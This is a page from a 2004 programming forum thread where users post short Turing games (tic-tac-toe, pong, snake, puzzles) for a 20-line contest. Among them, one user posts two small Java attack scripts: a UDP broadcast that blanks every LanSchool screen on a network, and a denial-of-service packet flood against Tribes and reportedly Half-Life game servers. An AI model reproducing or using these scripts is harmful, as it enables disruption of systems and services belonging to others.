Programming C, C++, Java, PHP, Ruby, Turing, VB
Computer Science Canada 
Programming C, C++, Java, PHP, Ruby, Turing, VB  

Username:   Password: 
 RegisterRegister   
 Turing Contest 255chr max - changed to 20 line max
Index -> Contests
Goto page Previous  1, 2, 3, 4, 5  Next
View previous topic Printable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic

And the winner is :
(Voting is closed)
not buzpodder's graphics
28%
 28%  [ 2 ]
zylum's graphics
0%
 0%  [ 0 ]
catalyst's graphics
0%
 0%  [ 0 ]
GlobeTrotter's graphics
0%
 0%  [ 0 ]
beard0's graphics
0%
 0%  [ 0 ]
Delos's Blackjack
14%
 14%  [ 1 ]
zylum's graphics (2)
0%
 0%  [ 0 ]
beard0's TicTacToe
28%
 28%  [ 2 ]
Delos's Flashy Pong
0%
 0%  [ 0 ]
zylum's green screen
14%
 14%  [ 1 ]
Catalyst's Pong
0%
 0%  [ 0 ]
Tony's Snake
14%
 14%  [ 1 ]
TheFerret's graphics
0%
 0%  [ 0 ]
Total Votes : 7

Author Message
Delos




PostPosted: Thu Jun 24, 2004 3:07 pm   Post subject: (No subject)

Hmf.

I shall have to counter that counter now...

BTW, I made a slight edit to the Black Jack up there...now to win you have to be above 16 points Very Happy
Sponsor
Sponsor
Sponsor
sponsor
beard0




PostPosted: Thu Jun 24, 2004 3:51 pm   Post subject: (No subject)

Delos: I pre-counter your counter counter:
TicTacToe is down to 17 lines:
code:
var x, y, b, ob, count := 1
var whatchar : array - 2 .. 4, -2 .. 4 of char := init (" ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ")
put repeat (repeat ("     |     |" + chr (10), 3) + "-----+-----+-----" + chr (10), 2) + repeat ("     |     |" + chr (10), 3),"Welcome to Matt's TicTacToe Game, in 17 lines.",chr(10),"Use the mouse in turns with a friend to play the game.",chr(10),"Enjoy!"
loop
    ob := b
    mousewhere (x, y, b)
    if x < 135 and maxy - y < 180 and b > 0 and ob = 0 and whatdotcolor ((x div 45) * 48 + 18, ((maxy - y) div 60) * -64 + 373) = white then
        locate (((maxy - y) div 60) * 4 + 2, (x div 45) * 6 + 3)
        whatchar (x div 45, (maxy - y) div 60) := chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O")))
        put chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) ..
        exit when (whatchar (x div 45 - 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60))
        count += 1
    end if
    exit when count = 10
end loop
locate (12, 1)
put repeat (chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) + "'s win!", 1 - count div 10) + repeat ("Tie game!", count div 10) + repeat (chr (10), 3)
Delos




PostPosted: Thu Jun 24, 2004 4:17 pm   Post subject: (No subject)

That's awsome beard0!

Ok, I present to you...
Flashy Pong in Twenty Lines!
code:

var coords : array 1 .. 9 of real := init (100, 100, 0.1, 0.1, 7, 10, 0, 7, 0.3)
var ch : array char of boolean
loop
    Input.KeyDown (ch)
    if ch ('c') then
        coords (9) := -coords (9)
    end if
    coords (6) += coords (9)
    exit when coords (2) <= 0
    drawfilloval (round (coords (1)), round (coords (2)), 10, 10, round (coords (5)))
    drawfillbox (round (coords (6)), round (coords (7)), round (coords (6)) + 100, round (coords (7)) + 10, round (coords (5)))
    if coords (1) <= 0 or coords (1) >= maxx then
        coords (3) := -coords (3)
    elsif coords (2) >= maxy or (coords (1) >= coords (6) and coords (1) <= (coords (6) + 100) and coords (2) >= 0 and coords (2) <= coords (7) + 10) then
        coords (4) := -coords (4)
    end if
    coords (1) += coords (3)
    coords (2) += coords (4)
    cls
end loop


You'll notice the lack of delays...that really screwed me up...
And yes, I know that a siezure warning is pertinent here.
So...
WARNING! THE ABOVE CODE WHEN RUN MAY CAUSE SEIZURES. CAUTION IS ADVISED.

Urgh...this is...not quite as good as it should be...but there's only so much doable w/ 20 lines!

Instructions:

Sit a bit farther back from your monitor than you usually do.
When the game starts (after pressing F1), the ball will be moving away from you.
The paddle has continuous movement.
To change its direction, press 'c'.
Hold down 'c' to keep it still.
Try to keep the ball in play.
zylum




PostPosted: Thu Jun 24, 2004 6:16 pm   Post subject: (No subject)

ok since we're into making games 20 lines or less, here's green screen in 20 lines:

code:
var board : array 0 .. 6, 0 .. 6 of int := init (1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1)
var mx, my, md, total : int
fcn updateBoardFunction (x, y : int) : boolean
    board (x, y) := abs (board (x, y) - 1)
    result false
end updateBoardFunction
loop
    total := 0
    for x : 1 .. upper (board) - 1
        for y : 1 .. upper (board) - 1
            drawfillbox (x * 20, y * 20, x * 20 + 18, y * 20 + 18, (board (x, y) + 1) * 2)
            total += board (x, y)
        end for
    end for
    mousewhere (mx, my, md)
    if md = 1 and mx >= 20 and my >= 20 and mx <= upper (board) * 20 + 18 and my <= upper (board) * 20 + 18 then
        exit when updateBoardFunction (mx div 20, my div 20) or updateBoardFunction (mx div 20 - 1, my div 20) or updateBoardFunction (mx div 20 + 1, my div 20) or updateBoardFunction (mx div 20, my div 20 - 1) or updateBoardFunction (mx div 20, my div 20 + 1) or total = 0
    end if
end loop
put "you win!!!"


you know the deal, get the screen completely green to win
Dan




PostPosted: Fri Jun 25, 2004 11:41 pm   Post subject: (No subject)

Note: the below outlines a hack that no longer works as the security hole has been fixed in version 7.0 and up of lanschool.

I know this is only for turing but i just had to add this:

LanSchool Java hack

code:

//LanSchool Hack
import java.net.*;

public class hack
{
        public static void main(String args[])
        {
                try
                {
                        InetAddress ipaddr=InetAddress.getByName("255.255.255.255");
                        DatagramSocket mysocket=new DatagramSocket();
                        byte sendbuf2[] = {0x08,0x01,(byte)0x02,0x00,(byte)0xda, (byte)0xd1};
                        DatagramPacket sendPacket2 = new DatagramPacket( sendbuf2, sendbuf2.length, ipaddr, 796);       
                        mysocket.send(sendPacket2);
                }
                catch(Exception e)
                {
                }
        }
}


It truns all the screens of all the computers on the network using LanSchool black Twisted Evil

Got to have an evil entry.
Computer Science Canada Help with programming in C, C++, Java, PHP, Ruby, Turing, VB and more!
Catalyst




PostPosted: Fri Jun 25, 2004 11:59 pm   Post subject: (No subject)

whee

code:
var px1, px2, py1, py2, ballx, bally, bvx, bvy, score1, score2 : int := -1
var chars : array char of boolean
fcn sa (cond : boolean, var b : int, a : int) : boolean
    if cond then
        b := a
    end if
    result false
end sa
loop
    View.Set ("graphics:600;300,position:center,center,offscreenonly,nobuttonbar,title:Score: "+intstr(score1+1)+" ][ "+intstr(score2))
    Input.KeyDown (chars)
    drawfilloval (ballx, bally, 10, 10, 42)
    drawfillbox (px1, py1, px1 + 15, py1 + 50, 103)
    drawfillbox (px2, py2, px2 + 15, py2 + 50, 103)
    exit when sa (true, px1, 0) or sa (true, px2, maxx - 15) or sa (bvx = 0, bvx, Rand.Int (1, 2)) or sa (ballx > (maxx - 15) and (bally > py2 and bally < (py2 + 50)), bvx, -bvx) or sa (ballx < 15 and (bally > py1 and bally < (py1 + 50)), bvx, -bvx) or sa (ballx > maxx, score1, score1 + 1) or sa (0 > ballx, score2, score2 + 1) or sa (ballx > maxx or 0 > ballx, bvx, Rand.Int (-2, 2)) or sa (ballx > maxx or 0 > ballx, bally, maxy div 2) or sa (ballx > maxx or 0 > ballx, ballx, maxx div 2) or sa (bally > maxy, bvy, -bvy) or sa (0 > bally, bvy, -bvy) or sa (true, ballx, ballx + bvx) or sa (true, bally, bally + bvy) or sa (chars ('q'), py1, py1 + 2) or sa (chars ('a'), py1, py1 - 2) or sa (chars ('o'), py2, py2 + 2) or sa (chars ('l'), py2, py2 - 2)
    View.Update
    delay (5)
    drawfillbox (0,0,maxx,maxy,7)
end loop
Dan




PostPosted: Sat Jun 26, 2004 12:10 am   Post subject: (No subject)

Another evil java one:

this one will reset any Tribes 1 game server thos unbaning you from it and kicking every one off for a few mins:

Tribes 1 DoS atack:

code:

//Tribes 1 Server Hack
import java.net.*;
public class Thack
{
        public static void main(String args[]) throws Exception
        {
                        int port = 28003;
                        String add = "255.255.255.255";        
                       
                        InetAddress ipaddr=InetAddress.getByName(add);
                        DatagramSocket mysocket=new DatagramSocket();
                        byte sendbuf2[] = new byte[255];
                        for(int i=0; i < 255; i++)
                        {
                                sendbuf2[i] = (byte)0x01;
                        }       
                        DatagramPacket sendPacket2 = new DatagramPacket( sendbuf2, sendbuf2.length, ipaddr, port);
                        mysocket.send(sendPacket2);
        }
}



I think we need a new contest, java hacks in 20 lines Twisted Evil

EDIT: of corse you put the server port and ip for the port and add vars Wink
Computer Science Canada Help with programming in C, C++, Java, PHP, Ruby, Turing, VB and more!
zylum




PostPosted: Sat Jun 26, 2004 1:43 pm   Post subject: (No subject)

lol, nice one catalyst!

im beggining to think that the exit when / function that always returns false strategy is a bit cheap (even though i used it myself Embarassed )
Sponsor
Sponsor
Sponsor
sponsor
Tony




PostPosted: Sat Jun 26, 2004 2:35 pm   Post subject: (No subject)

after studing catalyst's code for a bit, I'm resubmitting my snake

code:

var chars : array char of boolean
var snake : array 1 .. 12 of int := init (1, 0, -1, -2, -3, -4, -5, -6, -7, -8, 1, 0)
function catalize (cond : boolean, var a : int, b : int) : boolean
    if cond then
        a := b
    end if
    result false
end catalize
loop
    View.Set ("graphics:500;500,offscreenonly,position:center,center,title:snake - score:" + intstr (snake (12)))
    Input.KeyDown (chars)
        exit when catalize(chars(chr(200)),snake(11),10) or catalize(chars(chr(203)),snake(11),-1) or catalize(chars(chr(205)),snake(11),1) or catalize(chars(chr(208)),snake(11),-10) or (snake(1) + snake(11)) > 100 or (snake(1) + snake(11)) < 0 or (snake(1) mod 10 = 0 and snake(11) = 1) or ((snake(1) - 1) mod 10 = 0 and snake(11) = -1) or catalize(true,snake(10),snake(9))or catalize(true,snake(9),snake(8))or catalize(true,snake(8),snake(7))or catalize(true,snake(7),snake(6))or catalize(true,snake(6),snake(5))or catalize(true,snake(5),snake(4))or catalize(true,snake(4),snake(3))or catalize(true,snake(3),snake(2))or catalize(true,snake(2),snake(1))or catalize(true,snake(1),snake(1)+snake(11)) or snake(1)=snake(2) or snake(1)=snake(3) or snake(1)=snake(4) or snake(1)=snake(5)or snake(1)=snake(6)or snake(1)=snake(7)or snake(1)=snake(8)or snake(1)=snake(9)or snake(1)=snake(10) or catalize(true,snake(12),snake(12)+1)
    Draw.FillBox (50, 0, 500, 500, green)
    for i : 1 .. 10
        Draw.FillBox ((snake (i) mod 10) * 50, (snake (i) div 10) * 50, (snake (i) mod 10) * 50 + 50, (snake (i) div 10) * 50 + 50, red)
        Draw.Box ((snake (i) mod 10) * 50, (snake (i) div 10) * 50, (snake (i) mod 10) * 50 + 50, (snake (i) div 10) * 50 + 50, black)
    end for
    View.Update
    delay (100)
end loop
Latest from compsci.ca/blog: Tony's programming blog. DWITE - a programming contest.
Dan




PostPosted: Sat Jun 26, 2004 2:57 pm   Post subject: (No subject)

An update on my Tribes server DoS, it will also work on hallflife servers and i think any game that is a mod of halflife (ie. counter strike). Also it may wrok on some other game servers like some of the unrealtrerment ones and some other games i have not test. There is much pointel for evil here Wink
Computer Science Canada Help with programming in C, C++, Java, PHP, Ruby, Turing, VB and more!
Delos




PostPosted: Sat Jun 26, 2004 2:59 pm   Post subject: (No subject)

!Sad!

I am so not worthy...

...

But I will make myself thus!
Ha ha!
beard0




PostPosted: Sun Jun 27, 2004 6:58 pm   Post subject: (No subject)

Catalyst: I'm very impressed with your pong game. One improvement that you should be able to manage would be to have the ball bounce on its edge rather than its center.
Catalyst




PostPosted: Sun Jun 27, 2004 7:14 pm   Post subject: (No subject)

quite simple to fix
code:
var px1, px2, py1, py2, ballx, bally, bvx, bvy, score1, score2 : int := -1
var chars : array char of boolean
fcn sa (cond : boolean, var b : int, a : int) : boolean
    if cond then
        b := a
    end if
    result false
end sa
loop
    View.Set ("graphics:600;300,position:center,center,offscreenonly,nobuttonbar,title:Score: "+intstr(score1+1)+" ][ "+intstr(score2))
    Input.KeyDown (chars)
    drawfilloval (ballx, bally, 10, 10, 42)
    drawfillbox (px1, py1, px1 + 15, py1 + 50, 103)
    drawfillbox (px2, py2, px2 + 15, py2 + 50, 103)
    exit when sa (true, px1, 0) or sa (true, px2, maxx - 15) or sa (bvx = 0, bvx, Rand.Int (1, 2)) or sa (ballx > (maxx - 15) and (bally > py2 and bally < (py2 + 50)), bvx, -bvx) or sa (ballx < 25 and (bally > py1 and bally < (py1 + 50)), bvx, -bvx) or sa (ballx > maxx-10, score1, score1 + 1) or sa (0 > ballx, score2, score2 + 1) or sa (ballx > maxx or 0 > ballx, bvx, Rand.Int (-2, 2)) or sa (ballx > maxx or 0 > ballx, bally, maxy div 2) or sa (ballx > maxx or 0 > ballx, ballx, maxx div 2) or sa (bally > maxy-10, bvy, -bvy) or sa (10 > bally, bvy, -bvy) or sa (true, ballx, ballx + bvx) or sa (true, bally, bally + bvy) or sa (chars ('q'), py1, py1 + 2) or sa (chars ('a'), py1, py1 - 2) or sa (chars ('o'), py2, py2 + 2) or sa (chars ('l'), py2, py2 - 2)
    View.Update
    delay (5)
    drawfillbox (0,0,maxx,maxy,7)
end loop

TheFerret




PostPosted: Sun Jun 27, 2004 10:25 pm   Post subject: (No subject)

Here is 2 of my short programs, I know one is a tid bit longer but it looks good...

code:
%Travis Baker
%Was UBER Bored and wanted to make something sexy... o_0
View.Set ("graphics:1000;600")
var x, y,add : int := 0
var xx, yy : int := 500
var c : int := 10
var col, col1 := 1
for i : 1 .. 4000
    col1 := 5
    y += c
    yy += c
    col += 1
    col1 -= 1
    if col >= 255 then
        col := 1
    end if
    if col1 <= 1 then
        col1 := 5
    end if
    drawline (x, y, xx * 2, yy - yy, col)
    drawline (x , y-y, xx*2, yy-500 , col)
end for


code:
%%%Travis Baker
%%%March 9, 2004
%%%Pyramid
setscreen ("graphics:400;400")
var x, y, x1, y1, col, col1 : int :=0
x1 := 400
y1 := 400
col := 1
loop
    for i : 1 .. 400
        delay (1)
        x += 1
        y += 1
        x1 -= 1
        y1 -= 1
        col += 2
        if col >= 255 then
            col := 1
        end if
        drawbox (x, y, x1, y1, col) %<-- Try putting star or oval here
        x += 1
        y += 1
        x1 -= 1
        y1 -= 1
        col1 :=33
        if col1 <= 1 or col1 >= 255 then
            col1 := 255
        end if
        drawbox (x, y, x1, y1, col1) %<-- Try putting star or oval here
    end for
end loop
Delos




PostPosted: Mon Jun 28, 2004 11:12 am   Post subject: (No subject)

The 2nd one is over 20 lines!
(The first one is too...but if one disregards the unnecassary comments in the beginning...)
Thinking
Display posts from previous:   
   Index -> Contests
View previous topic Tell A FriendPrintable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic

Page 2 of 5  [ 62 Posts ]
Goto page Previous  1, 2, 3, 4, 5  Next
Jump to:   


Style:  
Search: